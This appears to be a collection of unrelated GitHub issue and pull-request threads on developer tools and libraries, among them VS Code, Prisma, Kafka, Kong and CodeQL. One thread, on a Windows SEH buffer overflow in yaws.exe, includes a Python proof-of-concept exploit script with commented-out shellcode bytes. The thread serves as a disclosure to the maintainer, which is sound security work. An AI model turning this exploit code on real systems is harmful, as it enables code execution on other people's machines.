Fix for forthcoming template updates that include graphql files in src

This PR will cause tests to break because it fixes an issue in CI that caused them to not run, and there are existing tests in the repo that are broken.

Thanks @andrewhassan for fixing tests 😁


Stage / Unstage / Revert Selected Ranges should only appear or be available where useful in Diff Editor context menu

When in the Diff Editor for a Working Tree diff:

Stage Selected Ranges: ✅ works
Unstage Selected Ranges: ❌ does nothing
Revert Selected Ranges: ✅ works

When in the Diff Editor for an Index diff:

Stage Selected Ranges: ❌ does nothing
Unstage Selected Ranges: ✅ works
Revert Selected Ranges: ❌ does nothing

Currently the context menu shows and enables all the three possible options. This is kind of confusing, because there are actions in the context menu which don't do anything meaningful.
My suggestion: Available items in the context menu should vary depending on context. Any menu item that ❌ "does nothing" should be hidden from the context menu, or at least they should be disabled.
Case in point: The menu shown when right-clicking a deleted line varies depending on context. #9475
Related: #175786 #105920 #48676

Following up on this @lszomoru if it's possible to do this. It doesn't quite make sense to include menu items that are guaranteed to be inert in the given context, right? The menu itself is already very long, so removing them will make it slightly shorter which is appreciated. 🙂

This has been fixed in the latest VS Code Insiders release.
Version: 1.97.0-insider
Commit: cf2ebd91b8e42e3bc5ab0e85e3323c886a977ffe
Date: 2024-12-18T06:50:13.779Z
Electron: 32.2.6
ElectronBuildId: 10629634
Chromium: 128.0.6613.186
Node.js: 20.18.1
V8: 12.8.374.38-electron.0
OS: Darwin arm64 24.2.0


A waypoint set on the bottom of the scrollable page fires "onEnter" on top

I have a scrollable
 that is set to overflow-y: scroll. This
 is recognized correctly as the scroll ancestor, and the height is reported as the viewport's height (which is interesting; I would expect it to match its total size).
Inside this scrollable
, there are a couple of child
s that make the scrollable content, and the <Waypoint> comes right after these
s (but still in the container).
I would expect that the <Waypoint> fires onEnter once I scroll to the bottom. But on the contrary, onEnter is fired immediately (at the top), and if I scroll down, onLeave is fired. onEnter is fired again once I scroll up to the top.
If I look at the debug values, I can see that the waypoints' top and bottom values are at 100 once I am at the top, and they become negative (!) once I scroll down.
What might cause this behaviour?

My initial guess is that this is the same as this commonly reported issue. Take a look at that issue (and the other linked issues in that thread), and see if you think that's the case. If not, let us know and we'll look into this more!

Thanks for your fast response! I am still reading through these issues, but I doubt that the lazy loading images are causing this, because the child
s contain other content. It's actually a bootstrap grid layout. Will dig deeper into the issues, maybe I find another clue.

Just a guess: Has this been tested with floating
s?

If you inspect the DOM, can you find the  that the waypoint renders? It's likely that it's somewhere at the top. Since you're using floats in your css, it might be enough to wrap the waypoint in something like

  <Waypoint />

I hope we're able to find a solution to this!

The span is actually at the bottom of all divs (and at the bottom of the page), but I will try to use the clear approach.

The clear-approach worked. Thanks!

Glad you got it working! Thanks for following up with your findings and for closing the ticket. 👍


feat: ensure support for python 3.10

High Level Overview of Change
This PR ensures that xrpl-py supports Python 3.10.
Context of Change
Python 3.10 just came out: https://docs.python.org/3/whatsnew/3.10.html
Type of Change

[x] New feature (non-breaking change which adds functionality)

Before / After

Test Plan
CI passes.

There's a bug in asyncio 3.10 that makes the integration tests fail: https://simonwillison.net/2021/Oct/9/finding-and-reporting-a-bug/


version 0.13.0 cannot save changes on certificate

kong: 0.14.0
konga: 0.13.0
running both in docker.
we have a certificate saved by konga long time ago, and now certificate is going to expired. so we have to update it with new issued cert. when open certificate detail and replaced with new certificate content, seems everything is fine after click ok button.
after that, open certificate detail again, it still shows old certificate and nothing changed.
we pretty sure that kong admin api support update certificate and we finally update certificate through /certificates/{id} api. so we suppose this to be a bug.
hopes this can be fixed in future version.

This is fixed in newer versions. Feel free to reopen if needed.


Added date validation regex limitations to user guide

Coverage remained the same at 84.805% when pulling b64049f09498c161d8aca662e4fc0fb3a21bfdd0 on driedmelon:portfolio into 62b5569f9528c335650061b6e524861d9e082d3f on CS2113-AY1819S1-W12-1:master.


AuthenticationSuccessHandler can be deprecated

The AuthenticationSuccessHandler that solely sets the cookie can be deprecated. The lexik/jwt-bundle since version 2.7 can set cookies itself.
This is the config:
lexik_jwt_authentication:
  token_extractors:
    cookie:
      enabled: true
      name: BEARER
  # add these lines:
  set_cookies:
    BEARER: ~

So I think it is safe to NOT use your authentication listener but the default lexik's one when updating the config. You may want to update the README :)

Thanks for noticing this!


TypeError: 'numpy.ndarray' object is not callable

Hi, trying to feed in my dfs into the example given in the readme and i get the following error:
TypeError: 'numpy.ndarray' object is not callable

I have verified i am feeding in dfs not np arrays, so unsure what's going on.
Thanks,
Z

Oops ignore my, should probably have been using the oob_importances() fn anyway which deals with the classifier/regressor issue, though in truth a more informative error would be handy!


Added SALT ERC-20 token

SALT is an ERC-20 token distributed by SALT Lending that provides access to the SALT Lending platform.

Was already added. Should be live now or very very shortly


[BUG] azure-communication-email:1.1.0-beta.1 - cannot send email with attachments

Describe the bug
Cannot send email with attachments with version 1.1 beta1
Exception or Stack Trace
The error I'm getting back is:
Status code 400, "{"error":{"code":"BadRequest","message":"Request body validation error. ContentBytes invalid. Should be base64.","target":null,"details":null,"innererror":null}}"
To Reproduce
Try to send the mail with attachments, see code below.
Code Snippet
@Service
public class AzureMailService implements MessagingService {
    @Autowired
    public AzureMailService(
            @Value("${ch.hygiaso.azure-email.connection-string}")
            String connectionString,
            @Value("${ch.hygiaso.azure-email.sender-address}")
            String senderAddress
    ) {
        emailClient = new EmailClientBuilder()
                .connectionString(connectionString)
                .buildAsyncClient();
        this.senderAddress = senderAddress;
    }

    public void sendMessage(String recipientAddress, String subject, String body, FileContentDTO... attachments) {
        logger.debug("Sending notification email to {}", recipientAddress);
        EmailMessage message = new EmailMessage()
                .setSenderAddress(senderAddress)
                .setToRecipients(recipientAddress)
                .setSubject(subject)
                .setBodyHtml(body)
                .setAttachments(Arrays.stream(attachments).map(att -> new EmailAttachment(att.getName(), att.getContentType(), BinaryData.fromBytes(att.getContent()))).toList());
        var poller = emailClient.beginSend(message);
        poller.subscribe(response -> {
                    if (response.getStatus() == LongRunningOperationStatus.SUCCESSFULLY_COMPLETED) {
                        logger.trace("Successfully sent the email (operation id: {})", response.getValue().getId());
                    }
                },
                error -> logger.error("Error occurred while sending email to {}: {}", anonymizeEmailForLogging(recipientAddress), error.getMessage()));
        logger.debug("Email queued for sending");
    }
}

Expected behavior
E-mail is queued
Screenshots
N/A
Setup (please complete the following information):

OS: Azure web apps - no clue what is running there
IDE: N/A
Library/Libraries: com.azure:azure-communication-email:1.1.0-beta.1
Java version: 17
App Server/Environment: Azure web apps
Frameworks: spring boot

Additional context
Works well with 1.0.18. I want to upgrade to 1.1 version to be able to set CID and refer images from the html content, but pure change of the package version causes this issue.
Information Checklist

@ejossev Thank you for reaching out, @yogeshmo Could you take a look at this?


fix: articles/app-service/containers/quickstart-ruby.md

Add code fence language

@nschonni : Thanks for your contribution! The author, @SyntaxC4, has been notified to review your proposed change.

Code fence fix confirmed.


Make Gerrit work on IBM's WLP

I think there is a bug in the method getPathInfo() which calls
getServletPath().
The problem is as we don't have any real JSR-340-Servlets in gerrit;
instead only one "real" filter is installed in the Servlet container.
So getServletPath() will always return an empty string according to the
documentation (
https://docs.oracle.com/javaee/7/api/javax/servlet/http/HttpServletRequest.html#getServletPath--
)
because everything will be matched against /*
But guice-servlet users like gerrit expect the getServletPath() to
return something different as this call is made in computePath():
path = patternMatcher.extractPath(servletPath);
This call makes only sense when not an empty string is returned.
This broken behavior makes it currently impossible to run gerrit on any
other Servlet container than Jetty 9.2. For the URI
"http://localhost:9080/gerrit/projects/?n=26&type=ALL&d" Jetty does
return
"/projects" when getServletPath() is called. Which actually violates the
Servlet spec, I think.
For the reference: The Gerrit guice-servlet bindings are created in
gerrit-httpd/src/main/java/com/google/gerrit/httpd/UrlModule.java

Looks like the CLA still doesn't recognize you.  I also manually checked your github username and it doesn't see you, however it does recognize your email address.  Can you please update your CLA with your github username?

I signed it!

Hi Sam,
any update on this?

I guess this is another dead open source project then?!

Hi,
I rebased my branch on top of current master. See fae2cdb in above time line. sadly the rebase doesn't trigger a CI build.
So, would be cool if somebody could have a look at this PR and may pull it.

The pull request is for issue #1017

Hello. Much time has passed, and I'm not sure if this PR is still valid. I unfortunately don't have much faith in the unit tests for the servlet extension, and do not want to submit changes to the extension that seem to materially change the way the tests work. If someone would like to revive this PR, and wants to include integration tests that actually spin up a real servlet container and do E2E tests using Guice (rather than unit tests that mock out the behavior and quite possibly get it wrong), I would be more than happy to take another look at this. Until integration tests exist, I'm unfortunately not comfortable with these kinds of changes.


fix case-insensitive import collision

fix case-insensitive import collision

@unknwon Please accept this change, i'm getting installation errors because of it.

This change alone won’t solve the problem I think, I need to roll back some changes regarding Go mod name.

Since my GitHub handle converted to lower case for long-term purpose. And research a lot on other repos faced similar issue, I think this is a must have step to forward on updating import path.
If you're getting errors on a specific package, just ping me and I'll send out PR to those repos.

@unknwon I'm getting an error while installing https://github.com/Unknwon/bra

@Krystian19 thanks! Updating it.

@Krystian19 updated, would you mind try again? go get github.com/unknwon/bra

@unknwon It works like a charm, Thank you !!
Great job with Bra BTW, it's the best one i've found.

@Krystian19 no problem, my pleasure :D
@lizhengqiang which package you're trying to download/install? I can send out PRs as well.

123Step 32/76 : RUN go get github.com/go-macaron/cache
124 ---> Running in 34955ce7ad0f
125package github.com/Unknwon/com: case-insensitive import collision: "github.com/Unknwon/com" and "github.com/unknwon/com"

@lizhengqiang thanks, fixed!


"Oops. We could not send the error report."

Clone https://github.com/harshit-test-org/prisma2-client-502
Update package.json to preview024
yarn
Adapt prisma/.env to point to local MySQL 5.7 installation
yarn prisma2 migrate save --experimental
yarn prisma2 migrate up --experimental
See:You can get the detailed db changes with prisma2 migrate up --experimental --verbose
Or read about them in the ./migrations/MIGRATION_ID/README.md
 ERROR  Oops, an unexpected error occured!
Failure during a migration command: Connector error. (error: Error querying the database: Error querying the database: Error querying the database: Server error: `ERROR 42S02 (1146): Table '_issue_client_502._migration' doesn't exist')
Please help us improve Prisma 2 by submitting an error report.
Error reports never contain personal or other sensitive information.
Learn more: https://pris.ly/d/telemetry

┌─ Submit error report ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┐
│                                                                                │
│ > Yes            Send error report once                                                                                │
│   No             Don't send error report                                                                                │
│                                                                                │
└───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┘

after trying to send report:...
You can get the detailed db changes with prisma2 migrate up --experimental --verbose
Or read about them in the ./migrations/MIGRATION_ID/README.md
Failure during a migration command: Connector error. (error: Error querying the database: Error querying the database: Error querying the database: Server error: `ERROR 42S02 (1146): Table '_issue_client_502._migration' doesn't exist')
Oops. We could not send the error report.

Thanks a lot for your help! �🙏
error Command failed with exit code 1.
info Visit https://yarnpkg.com/en/docs/cli/run for documentation about this command

(preview022 + preview024)

Unable to reproduce with the provided reproduction. Migration just succeeds for me:

Your reproduction indicates you are not using Windows.

I got a better reproduction for this. Try migrating the following model(issue: https://github.com/prisma/prisma2/issues/1860):
model User {
  id   Int    @id @default(autoincrement())
  name String @unique

 @@index([name])
}

Not a windows specific issue but it indicates error reporting backend is broken or cli is sending faulty error reports.

I am assuming this issue is tracking the fault of error reporting backend.
The actual migrate issue is on my list now to test on windows.

The migrate issue is irrelevant here, you can ignore that and do not need to spend time on it - this is really just about the failure to send error reports.

2020-03-24T15:28:48.148Z sendPanic TypeError: Cannot read property 'signature' of undefined
    at Object.<anonymous> (/Users/j42/Dev/prisma2-client-502/node_modules/prisma2/build/index.js:2:1662033)
    at Generator.next (<anonymous>)
    at fulfilled (/Users/j42/Dev/prisma2-client-502/node_modules/prisma2/build/index.js:2:1660593)
    at processTicksAndRejections (internal/process/task_queues.js:94:5)
error Command failed with exit code 1.

How to find this logs?!
Well the interactive console for sending the reports hides it...
So env DEBUG="*" yarn prisma2 migrate up --experimental 2> hidden-error.txt 😉
Fixed by 5b4b350940bf4015318572a63dc44124f51e5472 in alpha
Can't reproduce in 953! 🎊

Can confirm that sending error reports now works.


Instant validation

Would be cool if validation happened as soon as there were a blur event.

Closing as the @tidoust solution seems to be the way to go


Add initial version of ModMove

https://github.com/keith/ModMove/

Please add accessibility_access true under your app stanza - it should take care of the "Enable Accessibily First" dialog

Awesome! Done

Thank you for the contribution. It needed some fixes, so they were made in dce0508ab85fce90bf3687f560ef55608ade0083. Your contribution is still included (and still credited to you), with the appropriate modifications. Please feel free to ask about any of the changes.

@keith - My apologies, I merged to my local copy instead of homebrew-cask (new maintainer) .
(I was trying to fix your commit, accessibility_access true' needs to go under the app`, right on top of end, but pushed the fix to my local repo instead of upstream)
Would you mind restoring your branch so I can properly commit it?
Sorry, and thanks!

No worries! Restored

Thank you for the contribution. It needed some fixes, so they were made in 140b69a50bad31f6db3b9c1373d97215046c7a98. Your contribution is still included (and still credited to you), with the appropriate modifications. Please feel free to ask about any of the changes.

@keith Thanks for bearing with me, we're all set! :+1:

No problem, thanks for helping out!


KAFKA-7948: Feature to enable json field order retention in the JsonConverter

This change affects the JsonConverter.
Some json parsers have particular requirements for field order in a json message. While this is not a part of the json spec and shouldn't really be necessary it is a reality for parsers we have on our mainframe. I have made this a configuration setting with a default of 'none' to retain the current functionality as is while giving users the option of enabling field order retention.
3 new test methods have been added to verify the behaviour of the setting is as expected when not set, set to 'none' and set to 'retained'.
To engage the behaviour use:
json.field.order=retained
Committer Checklist (excluded from commit message)

[ ] Verify design and implementation
[ ] Verify test coverage and CI build status
[ ] Verify documentation (including upgrade notes)

I did it that way in the first case. Then worried it may cause unexpected changes for people.
More than happy to just make the change in the code directly without the complicating config item if you’re happy with me doing that.

On 20/02/2019, at 7:57 PM, Magesh Nandakumar<EMAIL_ADDRESS>wrote:
@mageshn commented on this pull request.
@joncourt Thanks a lot for the PR. From the outset, it looks like you are introducing a new configuration which is generally considered a public API change an requires a KIP. I haven't gone into the details of the implementation yet but I believe you should just be able to preserve the order in any case and it would still likely be a backward compatible change. What are your thoughts on it?
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub, or mute the thread.

I believe it would be backwards compatible though given there’s no guarantee of order as it stands anyway so order can’t be predicted safely and anyone relying on it would get broken code ultimately.

On 20/02/2019, at 7:57 PM, Magesh Nandakumar<EMAIL_ADDRESS>wrote:
@mageshn commented on this pull request.
@joncourt Thanks a lot for the PR. From the outset, it looks like you are introducing a new configuration which is generally considered a public API change an requires a KIP. I haven't gone into the details of the implementation yet but I believe you should just be able to preserve the order in any case and it would still likely be a backward compatible change. What are your thoughts on it?
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub, or mute the thread.

@joncourt Let's fix it without additional configs and then I will take another pass at it. We can then wait to hear from the commiters to see what they think about it.


Optional method for saving constraint data

Marc, congrats on making a brilliant plugin! Been playing with it for a while and Im loving it.
I have a quick suggestion: Rather than save constraints data in a text layer, why not save it as userInfo on the layer itself? That way you could copy the layer to a different artboard, or even a different document, and it would retain it's constraints information.
Check the documentation here to see how you could store data attached to each layer: http://www.bohemiancoding.com/sketch/support/developer/03-reference/MSPluginCommand.html

Thanks Aby! Your snippets and common functions really helped me to make it.
I didn't thought about that, it's definitely a better solution than using text layers!
I'll try to implement it as soon as I can.

I think I've got this working in my fork – only minor changes, but check and see if it works/what you think..

Thanks for merging in! Only reason I didn't create a pull-request was because I was slightly hesitant about the code.

Your method is much better than the old one and certainly more efficient, thank you for helping me :)


Dynamic push

When I config in app.js like this
{         app: 'live',         mode: 'push',         edge: 'rtmp://<IP_ADDRESS>',         appendName: false       }
And after I call api POST http://localhost:port/api/relay/push with body { app: 'live', name: 'LIlZB0c2ae', url: 'rtsp://wowzaec2demo.streamlock.net/vod/mp4:BigBuckBunny_115k.mov', appendName: false }. It returns 'OK'. But output console shows: [rtmp play] Stream not found...
Can anyone help me ?
Many thanks !

You should send the request with application/x-www-form-urlencoded.

@dat0825: Can you please update steps if you got it working?

I have exactly the same issue. Did anyone got it working?
BTW, using application/x-www-form-urlencoded did not help

As I understand, "[rtmp play] Stream not found" is an expected behaviour while there is no publishing. The newly created session is added to idlePlayers context.idlePlayers.add(this.id); and once you start to stream everything should work.


How to add label in slide ?

How to add label into slideshow also how to change image changing time?

Use transitionInterval property to change time.
example:
let images: [UIImage] = [UIImage(named: "1")!,UIImage(named: "2")!,UIImage(named: "3")!,UIImage(named: "4")!,UIImage(named: "5")!,UIImage(named: "6")!]
let slider1: LIHSlider = LIHSlider(images: images)
slider1.transitionInterval=1.0 //the interval will be 1 second
self.sliderVc1  = LIHSliderViewController(slider: slider1)
self.addChildViewController(self.sliderVc1)
self.view.addSubview(self.sliderVc1.view)
self.sliderVc1.didMoveToParentViewController(self)

Use transitionInterval property to change time.
example:
`let images: [UIImage] = [UIImage(named: "1")!,UIImage(named: "2")!,UIImage(named: "3")!,UIImage(named: "4")!,UIImage(named: "5")!,UIImage(named: "6")!]
let slider1: LIHSlider = LIHSlider(images: images)
slider1.transitionInterval=1.0 //the interval will be 1 second
self.sliderVc1  = LIHSliderViewController(slider: slider1)
self.addChildViewController(self.sliderVc1)
self.view.addSubview(self.sliderVc1.view)
self.sliderVc1.didMoveToParentViewController(self)`

Still working on adding custom views. Will add that ASAP

Now you can add a label
Example:
let images: [UIImage] = [UIImage(named: "1")!,UIImage(named: "2")!,UIImage(named: "3")!,UIImage(named: "4")!,UIImage(named: "5")!,UIImage(named: "6")!]

let slider1: LIHSlider = LIHSlider(images: images)
slider1.sliderDescriptions = ["Image 1 description","Image 2 description","Image 3 description","Image 4 description","Image 5 description","Image 6 description"]
self.sliderVc1  = LIHSliderViewController(slider: slider1)
sliderVc1.delegate = self
self.addChildViewController(self.sliderVc1)
self.view.addSubview(self.sliderVc1.view)
self.sliderVc1.didMoveToParentViewController(self)

Also you can change:
public var descriptionBackgroundAlpha: CGFloat //default is 0.3
public var descriptionBackgroundColor: UIColor //default is black
public var descriptionFont: UIFont //default is system font with size=15
public var numberOfLinesInDescription: Int //default is 2


Command "Update-InvitedUserSponsorsFromInvitedBy" in docs not in module

Hi!
The documentation mentions a command called Update-InvitedUserSponsorsFromInvitedBy:
https://azuread.github.io/MSIdentityTools/commands/Update-InvitedUserSponsorsFromInvitedBy
But the MSIdentityTools module does not have that command:

Looking forward to that command, but maybe documentation should be synced with availabe commands, or at least have a planned flag or similar?
Thanks for the great work!

Fixed. Please update to the latest version.


Remove prefix from version

Any reason there is a v prefix in the version.

Went with the github suggestion of:
Tagging suggestions
It’s common practice to prefix your version names with the letter v. Some good tag names might be v1.0 or v2.3.4.
however in hindsight it is now causing more troubles than it is worth - I am updating my projects to remove the v classifier.

At least it is uncommon for Maven artifacts and I don't know if the maven-release plugin can handle it to auto increment versions.

done


Current Behavior
Babylon gets into some sort of bad state and errors about unexpected tokens.
Your Environment

software
version

Babylon
7.0.0-beta.12

node
astexplorer

npm
n/a

Operating System
Mac

This may be the same as #36. The repro in that issue doesn't seem to work anymore, but there's a test so I'm surprised. Decided to open a new issue since that one is old and closed but happy to move discussion back there.

Hey @mroch! We really appreciate you taking the time to report an issue. The collaborators
on this project attempt to help as many people as possible, but we're a limited number of volunteers,
so it's possible this won't be addressed swiftly.
If you need any help, or just have general Babel or JavaScript questions, we have a vibrant Slack
community that typically always has someone willing to help. You can sign-up here
for an invite.

That fix was released in beta.14. Can you try using a more recent version?

ah ok. my bad, thanks!


[Event Request] Codeunit 5815 Undo Sales Shipment Line - procedure SynchronizeATO - OnSynchronizeATOOnBeforeModify

Please add an Event OnSynchronizeATOOnBeforeModify in procedure SynchronizeATO in Codeunit 5815 Undo Sales Shipment Line
local procedure SynchronizeATO(var SalesShptLine: Record "Sales Shipment Line")
    var
        SalesLine: Record "Sales Line";
        AsmHeader: Record "Assembly Header";
    begin
        with SalesLine do begin
            Get("Document Type"::Order, SalesShptLine."Order No.", SalesShptLine."Order Line No.");

            if AsmToOrderExists(AsmHeader) and (AsmHeader.Status = AsmHeader.Status::Released) then begin
                AsmHeader.Status := AsmHeader.Status::Open;
                AsmHeader.Modify();
                AutoAsmToOrder;
                AsmHeader.Status := AsmHeader.Status::Released;
                AsmHeader.Modify();
            end else
                AutoAsmToOrder;

            OnSynchronizeATOOnBeforeModify(SalesLine); <-- NEW EVENT
            Modify(true);
        end;
    end;

    [IntegrationEvent(false, false)]
    local procedure OnSynchronizeATOOnBeforeModify(var SalesLine: Record "Sales Line")
    begin
    end;

Thanks for reporting this. We agree, and we’ll publish a fix asap, either in an update for the current version or in the next major release. Please do not reply to this, as we do not monitor closed issues. If you have follow-up questions or requests, please create a new issue where you reference this one.
Build ID: 45914.


Create Beaker tests

This module would be much better with Beaker tests to validate functionality and expected behaviours.

We will hopefully return to this module and add integration tests but for now we're not, so I'm closing this issue. Thank you for your interest in this module.


I'm always getting this error and I have no idea how to fix it

I get this everytime I try to start it. I've restarted the Pc and the client is open.
I would appreciate some help!

I suspect the folder name might be causing an issue with node. Could you try renaming the Pick&Ban folder to Pick-Ban (or something else without special symbols in the folder name)?


Update dataflow_on_gce_setup.rst

Updates flow of instructions.
Step (4) doesn't feel like a setup step.  It needs more context to.  Why add --headless?

Thanks Matt.  I'll add more context there.
Also I'm going to rename the parameter per https://github.com/googlegenomics/dataflow-java/pull/50


[Bug] click on Map Hex is not triggered correctly

Describe the bug
When clicking on the Hexes, the parchment is null and therefore not triggering the 'handleHexClick' correctly.
To Reproduce
Steps to reproduce the behavior:

Go to Map
Click on any hex

Expected behavior
Not sure what is suppose to happen.  This I guess:
setMapPopover({
hex,
x: rect.left,
y: rect.top,
mapMinX: parchmentRect.x,
mapMaxX: parchmentRect.width,
mapMinY: parchmentRect.y,
mapMaxY: parchmentRect.height,
})
Screenshots
If applicable, add screenshots to help explain your problem.

Desktop (please complete the following information):

OS: Windows
Browser [e.g. chrome, safari]: Firefox    and Edge Version
Version [e.g. 22]
: Firefox  108.0.2 (64-bit)
Edge Version 108.0.1462.76

Smartphone (please complete the following information):

Device: [e.g. iPhone6]
OS: [e.g. iOS8.1]
Browser [e.g. stock browser, safari]
Version [e.g. 22]

Additional context
I try to solve it myself but I was to lazy and haven't been working with much SVG. Riktigt jävla bra sida annars!

I will try to take a look at the bug this weekend. Thank you for the detailed bug report! <3

I got excited and decided to fix it right away :)
Kul att du gillar sidan :)


table unmarshal fix

Change-Id: I7b2d8e79edf41d4d6085ac3c43a9646b527ee197
In table_marshal.go file,
tags := strings.Split(f.Tag.Get("protobuf"), ",") if tags[0] == "" { return }
but in table_unmarshal.go, don't consider this condition.
when i use protobuf:"" to ignore some field, serialization is normal, but it will fail when deserialized.

I signed it!

Closing as obsolete.


Text collection step doesn't work from wget

Turns out the collect strings step isn't actually functioning
PRS

https://github.com/silverstripe/silverstripe-tx-translator/pull/14

Merged and tagged as 1.1.2


Analyze (csharp) No code found during the build

Hi ,
I have been trying to build & codescan  one dotnet Console applications . Its building the applications but in the perform codeql analysis  step its failing and throwing No source code was seen and extracted
Please note only one .cs file is available which is main source code file . How to perform codeql analysis for single file please let me know.

Hi @Subharanjan2055,

How to perform codeql analysis for single file please let me know.

There's nothing special about analysing a single file. If the project builds then we should be able to analyse it.
Do you have a link to a workflow run where the No source code was seen and extracted error appears? If possible, it would be really helpful to have a run with debugging enabled (as this will help our CodeQL engineers figure out what's going on). You can see how to enable debug logging here: https://github.blog/changelog/2022-08-01-debugging-codeql-analysis-in-code-scanning-made-easier-by-obtaining-detailed-logs-and-debugging-artifacts-from-the-codeql-action/

Hi @MathiasVP ,
Before sending debugging log could you please confirm anything do i need to add to my workflow file .
if yes please confirm once & what do i need to add ?

Hi @MathiasVP
The following are the logs that says the following :
Finalizing csharp
C:\uat-runner3_work_tool\CodeQL\0.0.0-20221211\x64\codeql\codeql.exe database finalize --finalize-dataset --threads=4 --ram=14703 C:\uat-runner3_work_temp\codeql_databases\csharp
No source code was seen and extracted to C:\uat-runner3_work_temp\codeql_databases\csharp.
This can occur if the specified build commands failed to compile or process any code.

Confirm that there is some source code for the specified language in the project.
For codebases written in Go, JavaScript, TypeScript, and Python, do not specify
an explicit --command.
For other languages, the --command must specify a "clean" build which compiles
all the source code files without reusing existing build artefacts.
Error: No code found during the build. Please see:
https://docs.github.com/en/github/finding-security-vulnerabilities-and-errors-in-your-code/troubleshooting-code-scanning#no-code-found-during-the-build

@MathiasVP Any update ?


Windows SEH Buffer overflow

https://github.com/klacke/yaws/blob/493ecfe60d722be506bc3ee8a9b12c69bf1e3580/win32/yaws.c#L211
This line opens a local vulnerability that could be exploited by SEH Buffer Overflow technique.
I exploited it, in this POC:
(python)
import binascii
from subprocess import call
junk = 'A'*201
nops='\x90'*2
nseh = 'BBBB'#jmp \xEB \x02
seh = 'CCCC' #pop,pop,ret
#cmd =  "\x31\xC9\x64\x8B\x71\x30\x8B\x76\x0C\x8B\x76\x1C\x8B\x06\x8B\x68\x08\x68\x11\x11\x11\x11\x66\x68\x11\x11\x5B\x53\x55\x5B\x66\x81\xC3\x4B\x85\xFF\xD3\xEB\xEA"
#cmd =  '\x31\xc0\x50\x68\x42\x34\x6d\x7c\x68\x7c\x42\x33\x6d\x89\xe1\xbb\xd4\x29\x86\x7c\x51\x50\xff\xd3'#'\x8b\xec\x68\x65\x78\x65'+'\x20\x68\x63\x6d\x64\x2e'+'\x8d\x45\xf8\x50\xb8\x8D'+'\x15\x86\x7C\xff\xd0'
cmd = ('\x90'*41) + 'Z' #SHELLCODE WITH 42 BYTES OF MAX LENGTH (more than it, the buffer will rolling the byte array)
print (len(cmd))
buf = junk + nseh + seh+ nops+ cmd

buf = buf + ('E'* (253 - len(buf))) +'XXXX'  #EDX overflowed to 58585858 (XXXX) on 254-257 position
buf = buf + ('E'* (510 - len(buf)))
print ('>yaws.exe --erlarg ' + (buf))
print(len(buf))
#need to have unless 510 chars in order to overflow the buffer
call(["c:\\Yaws-2.0.4\\bin\\yaws.exe", "--erlarg", buf  ])

EDX also overflowed to XXXX .

Thanks! Turns out there are quite a few similar issues in this file, where calls to sprintf or strcat could overflow buffers. I'm working on fixing them. One issue I will run into, though, is that I personally don't have a platform on which I can build and verify the changes. If anyone would be willing to help in that department, please let me know.


Readd luximono

I think, texlive-local (https://www.tug.org/texlive/files/debian-equivs-2021-ex.txt) should contain tex-common, too.
Quick fix could be
set -i "s/texlive-latex-base, /texlive-latex-base, tex-common/" && \


NhatTruyen/NetTruyen: new advanced search

Checklist:

[x] Updated extVersionCode value in build.gradle for individual extensions
[X] Updated overrideVersionCode or baseVersionCode as needed for all multisrc extensions
[X] Referenced all related issues in the PR body (e.g. "Closes #xyz")
[ ] Added the isNsfw = true flag in build.gradle when appropriate
[X] Have not changed source names
[X] Have explicitly kept the id if a source's name or language were changed
[X] Have tested the modifications by compiling and running the extension through Android Studio
[X] Have removed web_hi_res_512.png when adding a new extension

can this be adjusted in wpcomics? if only these two sources support it then maybe add another class to wpcomics like WpComicsAlt with this support and use that in these sources

Sure that can be done. I was just afraid that changing to multi-src is not preferred.

Sure that can be done. I was just afraid that changing to multi-src is not preferred.

none of the other sites support it? if so should be fine to leave it as is

Sure that can be done. I was just afraid that changing to multi-src is not preferred.

none of the other sites support it? if so should be fine to leave it as is

I would say just not yet. NetTruyen and NhatTruyen only supports this very recently. Other sites might follow later.


Refactoring

Description:
As a part of my dissertation work, I've implemented a series of automated refactorings and formatting to improve the overall code quality of this repository:
Reformat: By adhering to Google's Java Code Style guidelines, I've reformatted 97 files. This step aims to enhance code readability and ensure consistency with widely accepted programming style standards.
RemoveDuplication: I have executed the RemoveDuplication refactoring on 1 file, aiming to streamline the codebase by eliminating redundant code blocks.
These changes were all performed with the aid of the Refactoring Janitor tool.
Request for Feedback:
As this effort is part of my dissertation project, your input and feedback on the changes I've made are greatly appreciated. Your insights will significantly contribute to my research and learning process.

I've received,thank you so much!


preorder/#246

Related Issues

#246
Closes #
Short Description and Why It's Useful

it is removing the extra the which is there in background job model empty state.
Screenshots of Visual Changes before/after (If There Are Any)

IMPORTANT NOTICE - Remember to update CHANGELOG.md with description of your change
Contribution and Currently Important Rules Acceptance

[x] I read and followed contribution rules

@Jitisha-khede Please update the title of the PR, it should explain about the changes you have done in this PR.

Done, have a look please

Please merge this pull request under the label of hacktoberfest
.


Yatin: Blacklist dietary[\W_]+upgrade

Yatin requests the blacklist of the keyword dietary[\W_]+upgrade. See the MS search here and the Stack Exchange search in text, in URLs, and in code.

dietary[\W_]+upgrade has been seen in 13 true positives, 0 false positives, and 0 NAAs.

Approved by Spevacus in Charcoal HQ


auto output multiple images, and custom models

I want to be able to set a output dir, and den hit like a multi render with adjustable iterations, so I can just leave it for a few hours and a get a folder with for example 1000 images with the same prompt but different seed for each iteration,I made this for mye onnx build python script, but I wanna use this cause its insanely fast now! my previous iteration time was 22sec with 50 inference steps.
NICE WORK!
Also it would be cool to add .ckpt trained models of own images exported from google colab.

now its 3.39 sec to generate image on my 7900 XT! this is a game breaker!

What versions of Adrenaline do you have installed?

Hi @al3k87 PR #812 adds the functionality to run SD with same prompt for random seeds
give it a shot and let us know it works for you
Support for adding custom models is underway!
feel free to reopen this issue incase the multi-run functionality doesn't work for you
closing this issue. Thanks


ls: Fix display of inodes and add allocation size feature

Only reason the GNU test block size (block-size.sh) appears to be failing is because of issues related to dd not parsing 'conv' correctly (!).

Add block size display ("-s", "--size") feature
Add custom block size option ("--block-size")
Add kibibytes ("-k", "--kibibytes") feature
Correct ordering of preferences for block size options
Add env var parsing for BLOCK_SIZE, LS_BLOCK_SIZE, POSIXLY_CORRECT
Fix how both block size and inode are displayed. Instead of printing through either display_long_item or display_file_name have been moved into a display_more_info function, which could be useful to other "ls" features that print the same whether in Format::Long or not.
Tests included to check proper alignment and block size values, and ordering of option preferences
Seems like a lot but these are all related options.

I think there's some miscalculation somewhere, trying to figure out where,
